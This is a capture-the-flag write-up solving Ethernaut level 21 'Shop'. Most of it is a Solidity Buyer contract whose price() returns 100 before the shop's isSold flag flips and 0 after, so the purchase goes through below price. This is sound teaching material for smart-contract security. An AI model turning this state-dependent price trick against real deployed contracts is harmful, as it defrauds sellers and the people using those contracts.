Ethernaut Solutions: 21-Shop

The task is to ensure that the first call to _buyer.price() returns >= 100 and the next call to _buyer.price() returns < 100. To do that we monitor for a change in the value of boolean variable isSold in the Shop contract. We use an abstract class to execute Shop.buy() and to get the value of isSold through its getter function isSold().

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

// To execute Shop's functions
abstract contract AbstractShop
{
    function isSold() public virtual returns (bool);
    function buy() public virtual;
}

contract Buyer
{
    // 0xd8b934580fcE35a11B58C6D73aDeE468a2833fa8 is the address where Shop is deployed
    AbstractShop abstractShop = AbstractShop(0xd8b934580fcE35a11B58C6D73aDeE468a2833fa8);

    function callShop() public
    {
        // Launch attack
        abstractShop.buy();
    }

    function price() public returns (uint256)
    {
        // Decide what to return
        if(abstractShop.isSold())
        {
            return 0;
        }
        else
        {
            return 100;
        }
    }
}